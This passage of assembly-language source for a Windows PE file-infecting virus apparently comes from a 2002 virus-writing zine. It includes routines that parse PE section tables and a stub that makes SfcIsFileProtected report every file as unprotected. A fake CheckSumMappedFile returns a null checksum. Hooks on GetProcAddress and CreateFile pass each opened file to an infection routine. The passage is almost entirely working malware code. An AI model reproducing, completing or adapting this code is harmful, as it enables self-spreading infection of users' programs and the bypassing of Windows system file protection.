boundary ) ======================================================= ; ============================================================================= ; Align a value to a boundary, I was guessing, so let's hope it's not buggy!!!! ConvertAlign PROC BOUNDARY:DWORD, VALUE:DWORD mov eax, [VALUE] xor edx, edx mov ecx, [BOUNDARY] div ecx or edx, edx mov eax, [VALUE] jz ConvertAlignExit add eax, [BOUNDARY] ConvertAlignExit: sub eax, edx ret ConvertAlign ENDP ; ============================================================================= ; ( Convert RVA to RAW ) ====================================================== ; ============================================================================= ConvertToRaw PROC FILEHANDLE:DWORD, VALUE:DWORD ; Make sure we haven't been provided a dud value, most routines should just ; rely on the result of this, instead of doing double error checking. mov esi, [FILEHANDLE] mov edi, [VALUE] test edi, edi jz ConvertToRawFail ; Locate start of SECTION Table and prepare for looping through them all add esi, [esi][IMAGE_DOS_HEADER.e_lfanew] mov ebx, [esi][PE.SectionAlignment ] movzx ecx, [esi][PE.NumberOfSections ] add si, [esi][PE.SizeOfOptionalHeader ] adc esi, PE.Magic .REPEAT ; Skip it if this Section starts above our VA cmp [esi][SECTION.VirtualAddress], edi ja ConvertToRawNext ; Find out where the section ends in memory, that means taking ; whichever RVA is bigger and SectionAligning it. mov eax, [esi][SECTION.SizeOfRawData ] cmp eax, [esi][SECTION.VirtualSize ] ja @F mov eax, [esi][SECTION.VirtualSize ] @@: DO_API ConvertAlign, ebx, eax add eax, [esi][SECTION.VirtualAddress] ; Jump over this section entry if it ends below our RVA cmp eax, edi jbe ConvertToRawNext ; Fail if this entry doesn't exist in the file [could be memory only] cmp [esi][SECTION.PointerToRawData], 0 je ConvertToRawFail ; Convert raw pointer to VA and add our value's pointers offset to it mov eax, [FILEHANDLE] add eax, [esi][SECTION.PointerToRawData] sub edi, [esi][SECTION.VirtualAddress ] add eax, edi jmp ConvertToRawExit ConvertToRawNext: add esi, SIZE SECTION .UNTILCXZ ConvertToRawFail: xor eax, eax ConvertToRawExit: ret ConvertToRaw ENDP ; ============================================================================= ; ( Alternate SfcIsFileProtected ) ============================================ ; ============================================================================= AlternateSfcIsFileProtected PROC P1:DWORD, P2:DWORD ; Alternate SfcIsFileProtected procedure, returns "File Unprotected" mov eax, FALSE ret AlternateSfcIsFileProtected ENDP ; ============================================================================= ; ( Alternate CheckSumMappedFile ) ============================================ ; ============================================================================= AlternateCheckSumMappedFile PROC P1:DWORD, P2:DWORD, P3:DWORD, P4:DWORD ; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK" mov eax, [P4] mov ebx, NULL xchg [eax], ebx mov eax, [P3] mov [eax], ebx mov eax, [P1] add eax, [eax][IMAGE_DOS_HEADER.e_lfanew] ret AlternateCheckSumMappedFile ENDP ; ============================================================================= ; ( Hooked version of GetProcAddress ) ======================================== ; ============================================================================= HookGetProcAddress PROC USES EDX ESI, DLL:DWORD, PROCEDURE:DWORD ; Work out our delta offset and check to make sure the program is asking ; for a Kernel32.DLL Procedure [which are the only ones we hook]. LOCATE DO_API tLoadLibraryA PTR [edx][VX.pLoadLibraryA], ADDR [edx][VX.UsedKernel] cmp eax, [DLL] .IF (ZERO?) push ecx mov ecx, HOOKS_COUNT lea esi, [edx][VX.HookAPI] .REPEAT ; Abort if this entry marks the end of the table. lodsd lodsd lodsd mCompareStringA ADDR [edx][eax][4], [PROCEDURE] .IF (ZERO?) mov eax, [esi][-4 ] lea eax, [edx][eax] pop ecx ret .ENDIF .UNTILCXZ pop ecx .ENDIF INVOKE tGetProcAddress PTR [edx][VX.pGetProcAddress], [DLL], [PROCEDURE] ret HookGetProcAddress ENDP ; ============================================================================= ; ( Hooked version of CreateFile ) ============================================ ; ============================================================================= HookCreateFileW PROC USES EDX, FILENAME:DWORD, P2:DWORD, P3:DWORD, P4:DWORD, P5:DWORD, P6:DWORD, P7:DWORD LOCAL QUALIFIED[MAX_PATH]:BYTE LOCATE DO_API tWideCharToMultiByte PTR [edx][VX.pWideCharToMultiByte], NULL, NULL, FILENAME, -1, ADDR [QUALIFIED], MAX_PATH, NULL, NULL .IF (eax != 0) DO_API LoadsFile, edx, ADDR [QUALIFIED] .ENDIF INVOKE tCreateFileW PTR [edx][VX.pCreateFileW], FILENAME, P2, P3, P4, P5, P6, P7 ret HookCreateFileW ENDP HookCreateFileA PROC USES EDX, FILENAME:DWORD, P2:DWORD, P3:DWORD, P4:DWORD, P5:DWORD, P6:DWORD, P7:DWORD LOCATE DO_API LoadsFile, edx, [FILENAME] INVOKE tCreateFileA PTR [edx][VX.pCreateFileA], FILENAME, P2, P3, P4, P5, P6, P7 ret HookCreateFileA ENDP ALIGN 4 Virus_Size EQU $ - Virus_Data Virus ENDS END WinMain COMMENT ` ---------------------------------------------------------------- )=- -=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=- -=( ---------------------------------------------------------------------- ) `